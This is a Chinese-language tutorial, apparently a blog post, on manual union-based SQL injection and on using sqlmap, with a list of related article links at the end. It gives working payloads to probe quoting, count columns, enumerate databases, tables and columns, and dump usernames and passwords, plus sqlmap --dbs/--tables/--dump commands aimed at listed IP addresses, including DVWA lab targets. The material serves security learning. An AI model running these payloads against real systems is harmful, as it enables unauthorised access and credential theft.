SQLI手动注入和python sqlmap代码注入

sql教程:

bash 复制代码
https://www.w3school.com.cn/sql/index.asp

数据库:

bash 复制代码
mysql 
oracle
mssql

常用方法

bash 复制代码
system_user()           系统用户名
user()                  用户名
current_user()          当前用户名
session_user()          连接数据库的用户名
database()              数据库名
version()               数据库版本
@@datadir               数据库路径
@@basedir               数据库安装路径
@@version_compile_os    操作系统
concat(str1,str2)       把str1和str2拼接到一起
group_concat()          一次性获取所有的数据库信息

information_schema.schemata   包含了数据库里所有的数据库
schema_name                  储存了所有数据库的库名
table_schema                  数据库名
information_schema.tables      包含了数据库里所有的表
table_name                     表名
information_schema.columns     包含了数据库里所有的字段
column_name                    字段名

关键字

bash 复制代码
UNION
order by

注释

bash 复制代码
#
--   前后需要空格
-- #
--+  推荐使用这个,+会解释成空格

推测后台php处理id拼接的方法

bash 复制代码
$_id = $_GET['id']
如果是整型的话
$_sql = "select username,password from users where id=$_id"
$_sql = "select username,password from users where id="
如果是字符型的话
$_sql = "select username,password from users where id='$_id'"
$_sql = "select username,password from users where id='1' --+'"

【SQL注入方法】:

第一步,推测后台php存在整型注入还是字符型注入

bash 复制代码
1'
1' --+
1"
1" --+
1')
1') --+
1")
1") --+

第二步,使用order by确定列数

bash 复制代码
1' order by 1 --+
1' order by 2 --+
1' order by 3 --+
如果执行1' order by 4 --+报错,则只有3列

第三步,使用union 联合查询,将id弄成一个负数或0值,使前面的语句失效,然后看看union查询是否有回显位

bash 复制代码
?id=0' union select 1,version(),database() --+

查询出所有数据库名

bash 复制代码
?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

第四步,查询出指定数据库database()中的所有表名

bash 复制代码
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

第五步,查询出指定表'users'中的所有字段名

bash 复制代码
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第六步,查询出指定指定表user中的所有字段数值,0x5c表示用户名和密码用\分割,易于观察

bash 复制代码
?id=0' union select 1,2,group_concat(username,0x5c,password) from users --+

【job1】如何实现多行结果拼接

bash 复制代码
sql语句
select first_name from users #查询users表中的姓
select first_name from users --+ 查询users表中的姓
select * from users
select first_name from users where user_id=4 --+ 查询users表中id为4的姓
select version()
SELECT first_name FROM users
UNION
SELECT comment FROM guestbook

SELECT first_name FROM users where user_id=1
select comment from guestbook

select concat((SELECT first_name FROM users where user_id=1),(select comment from guestbook))

select concat((SELECT first_name FROM users),(select comment from guestbook))

select * from information_schema.tables
select table_name from information_schema.tables

#以下在security库中查询
select username,`password` from users where id='1'
select username,`password` from users where id=0 union select 1,version(),database(),2

select 1

select username,`password` from users order by 1

【pytho sqlmap使用方法】

bash 复制代码
https://github.com/sqlmapproject/sqlmap
bash 复制代码
python sqlmap.py -h
python sqlmap.py -u "http://220.249.52.134:58790/?inject=1" --dbs
python sqlmap.py -u "http://220.249.52.134:58790/?inject=1" -D supersqli --tables
python sqlmap.py -u "http://129.11.0.246/dvwa/vulnerabilities/sqli/?id=1" -D dvwa -T users --column
python sqlmap.py -u "http://129.11.0.246/dvwa/vulnerabilities/sqli/?id=1" -D dvwa -T users -C user,password --dump

相关推荐
用户8356290780511 天前
Python 操作 PDF 附件:添加、查看与管理指南
后端·python
Databend1 天前
在 AWS 中国峰会逛了一天,我在 Databend 展台看到了 Agent 数据基础设施的新思路
数据库·人工智能·agent
宇宙之一粟1 天前
乐企版式文件生成平台
java·后端·python
学测绘的小杨2 天前
CompassFusion:一个从 GNSS 到 GNSS/INS 组合导航的独立工程包
python
ClouGence2 天前
Oracle 数据同步为什么会出现数据不一致?长事务是常被忽略的原因
数据库·后端·oracle
zzzzzz3102 天前
当产品经理说这个很简单:我用Python自动化处理奇葩需求的实战指南
python·pycharm·产品经理
雪隐2 天前
个人电脑玩AI-06让5060 Ti给你打工——不光能画画,Qwen3-TTS还能学人说话,连我老板都信了!
人工智能·后端·python
飞将2 天前
从零实现数据库(2)——HashIndex + IndexManager
数据库
兵慌码乱3 天前
面向桌面端的资产管理系统分层架构设计与核心模块实现
python·系统架构·sqlite·pyqt5·数据库设计·桌面应用开发·mvc架构
hboot3 天前
AI工程师第三课 - 机器学习基础
python·scikit-learn·kaggle